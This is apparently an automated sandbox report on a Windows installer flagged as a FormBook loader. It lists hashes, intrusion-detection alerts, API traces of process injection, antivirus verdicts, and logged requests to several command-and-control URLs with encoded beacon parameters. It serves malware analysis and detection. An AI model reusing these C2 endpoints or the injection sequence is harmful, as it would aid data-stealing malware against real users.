popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

loader1.exe

PE32 PE File DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6402 June 7, 2021, 4:23 p.m. June 7, 2021, 4:26 p.m.
Size 209.7KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 f20a27b803bf2a57928f87af2d954ed3
SHA256 cd86cea47a0d0f6e75738d7376d6cbc4b195e3640641665274552ae290149b3a
CRC32 B5574624
ssdeep 3072:8Lk395hYXJvMlAVucOo1y694H4kYgvEaT/5yZTMHel5EdBjFuUmY08tkakN4IAw2:8Qq+lno1y6GLcExyeebQB5uUMZAw+p
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.102:49815 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49815 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49815 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49819 -> 172.96.191.170:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49819 -> 172.96.191.170:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49819 -> 172.96.191.170:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49821 -> 184.168.131.241:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49821 -> 184.168.131.241:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49821 -> 184.168.131.241:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49823 -> 81.169.145.72:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49823 -> 81.169.145.72:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49823 -> 81.169.145.72:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49813 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49813 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49813 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49811 -> 203.245.44.109:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49811 -> 203.245.44.109:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49811 -> 203.245.44.109:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49825 -> 142.250.66.115:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49825 -> 142.250.66.115:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49827 -> 184.168.131.241:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49825 -> 142.250.66.115:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49817 -> 192.185.0.218:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49827 -> 184.168.131.241:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49817 -> 192.185.0.218:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49817 -> 192.185.0.218:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.102:49827 -> 184.168.131.241:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.xn--2o2b1z87x8sb.com/bp3i/?tZU0=w0/TDHIc1+HezrcFGU9wSyY7ZohJU/wG9FEU96VZi51pjs1Dms3z4YPKKIrAiX80z3Y2jYtY&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.sportsiri.com/bp3i/?tZU0=aSvVGLLpXGw3OAXV2aZVnJ1iJf4AHcjemKA4E5Yqpc3oSPveS9L08/xGI3+5sNlqw1RF4nLk&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.motivactivewear.com/bp3i/?tZU0=zzYPr0OCNAmsWBGG6HNOV25V/HRJbXLG3dsQYpoWqUnjOdCdFgLO0pBdP9GuYgb2I6ZBWy1X&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.jacksonmesser.com/bp3i/?tZU0=W/CXmC3h5YAUZ8fFOtRWLSI9/aEaYl+nDG0UZjOjUVUC3iozDGVhybHRgTy+sMA/oIlFk4+3&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.centroufologicosiciliano.info/bp3i/?tZU0=2oBW7Gq+oPyidiztoZuoYWcRATQmT11vWq8k6VNoEktLf6pbSYsZXTRFel/syGWUqWuQjZZt&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.oceancollaborative.com/bp3i/?tZU0=+tA82degRgcQ4mmnQvXabF4qHjy6FJLdLGPOjGCu1vH9ecmhDfriaGule7Kf6ooavhCfc5XG&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.my-ela.com/bp3i/?tZU0=x3Xsx3kFmfVBk/03I35QZMI5K2UCf+f3EJo6s08DD7agpFQ+QRU8y9pTR1ZGHvyReF/CgWzd&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.foldarusa.com/bp3i/?tZU0=+xosTUoEG+X0Mmn9EyQPKyy4IkvTxBKuOGd9HmuPL+IfZbfpIZ2h3r2SnBjxbTFGvCCtepcQ&Unt8E=GTdPPh0XeT3ldb
suspicious_features GET method with no useragent header suspicious_request GET http://www.nodeaths.com/bp3i/?tZU0=lAVGsZAimvW2FIy65vEHNJIN9n86K8XX6jwSW4mk+OH7OVxpkEktiPioJCYmNQpgOpJRaQcs&Unt8E=GTdPPh0XeT3ldb
request POST http://www.xn--2o2b1z87x8sb.com/bp3i/
request GET http://www.xn--2o2b1z87x8sb.com/bp3i/?tZU0=w0/TDHIc1+HezrcFGU9wSyY7ZohJU/wG9FEU96VZi51pjs1Dms3z4YPKKIrAiX80z3Y2jYtY&Unt8E=GTdPPh0XeT3ldb
request POST http://www.sportsiri.com/bp3i/
request GET http://www.sportsiri.com/bp3i/?tZU0=aSvVGLLpXGw3OAXV2aZVnJ1iJf4AHcjemKA4E5Yqpc3oSPveS9L08/xGI3+5sNlqw1RF4nLk&Unt8E=GTdPPh0XeT3ldb
request POST http://www.motivactivewear.com/bp3i/
request GET http://www.motivactivewear.com/bp3i/?tZU0=zzYPr0OCNAmsWBGG6HNOV25V/HRJbXLG3dsQYpoWqUnjOdCdFgLO0pBdP9GuYgb2I6ZBWy1X&Unt8E=GTdPPh0XeT3ldb
request POST http://www.jacksonmesser.com/bp3i/
request GET http://www.jacksonmesser.com/bp3i/?tZU0=W/CXmC3h5YAUZ8fFOtRWLSI9/aEaYl+nDG0UZjOjUVUC3iozDGVhybHRgTy+sMA/oIlFk4+3&Unt8E=GTdPPh0XeT3ldb
request POST http://www.centroufologicosiciliano.info/bp3i/
request GET http://www.centroufologicosiciliano.info/bp3i/?tZU0=2oBW7Gq+oPyidiztoZuoYWcRATQmT11vWq8k6VNoEktLf6pbSYsZXTRFel/syGWUqWuQjZZt&Unt8E=GTdPPh0XeT3ldb
request POST http://www.oceancollaborative.com/bp3i/
request GET http://www.oceancollaborative.com/bp3i/?tZU0=+tA82degRgcQ4mmnQvXabF4qHjy6FJLdLGPOjGCu1vH9ecmhDfriaGule7Kf6ooavhCfc5XG&Unt8E=GTdPPh0XeT3ldb
request POST http://www.my-ela.com/bp3i/
request GET http://www.my-ela.com/bp3i/?tZU0=x3Xsx3kFmfVBk/03I35QZMI5K2UCf+f3EJo6s08DD7agpFQ+QRU8y9pTR1ZGHvyReF/CgWzd&Unt8E=GTdPPh0XeT3ldb
request POST http://www.foldarusa.com/bp3i/
request GET http://www.foldarusa.com/bp3i/?tZU0=+xosTUoEG+X0Mmn9EyQPKyy4IkvTxBKuOGd9HmuPL+IfZbfpIZ2h3r2SnBjxbTFGvCCtepcQ&Unt8E=GTdPPh0XeT3ldb
request POST http://www.nodeaths.com/bp3i/
request GET http://www.nodeaths.com/bp3i/?tZU0=lAVGsZAimvW2FIy65vEHNJIN9n86K8XX6jwSW4mk+OH7OVxpkEktiPioJCYmNQpgOpJRaQcs&Unt8E=GTdPPh0XeT3ldb
request POST http://www.xn--2o2b1z87x8sb.com/bp3i/
request POST http://www.sportsiri.com/bp3i/
request POST http://www.motivactivewear.com/bp3i/
request POST http://www.jacksonmesser.com/bp3i/
request POST http://www.centroufologicosiciliano.info/bp3i/
request POST http://www.oceancollaborative.com/bp3i/
request POST http://www.my-ela.com/bp3i/
request POST http://www.foldarusa.com/bp3i/
request POST http://www.nodeaths.com/bp3i/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 5628
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73772000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 5628
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10004000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 5628
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10004000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 5628
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 45155
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00596148
process_handle: 0xffffffff
3221225477 0

NtAllocateVirtualMemory

 process_identifier: 7680
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00950000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsn24.tmp\System.dll
file C:\Users\test22\AppData\Local\Temp\nsn24.tmp\System.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
host 172.217.25.14
Process injection Process 5628 called NtSetContextThread to modify thread in remote process 7680
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4313216
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001f4
process_identifier: 7680
1 0 0
Bkav W32.AIDetect.malware2
Cynet Malicious (score: 100)
FireEye Gen:Variant.Nemesis.1525
McAfee Artemis!F20A27B803BF
Cyren W32/Ninjector.J.gen!Camelot
Symantec Trojan.Gen.2
ESET-NOD32 NSIS/Injector.ALN
APEX Malicious
Avast FileRepMalware
Kaspersky HEUR:Trojan-Spy.Win32.Noon.gen
BitDefender Gen:Variant.Nemesis.1525
Paloalto generic.ml
MicroWorld-eScan Gen:Variant.Nemesis.1525
Rising Trojan.Injector/NSIS!1.D6F5 (CLASSIC)
Emsisoft Gen:Variant.Nemesis.1525 (B)
DrWeb Trojan.Loader.834
McAfee-GW-Edition BehavesLike.Win32.Dropper.dc
Sophos Generic ML PUA (PUA)
SentinelOne Static AI - Suspicious PE
MAX malware (ai score=81)
Microsoft Trojan:Win32/Hynamer.C!ml
AegisLab Trojan.Win32.Noon.l!c
GData Gen:Variant.Nemesis.1525
Fortinet NSIS/Ninjector.J!tr
AVG FileRepMalware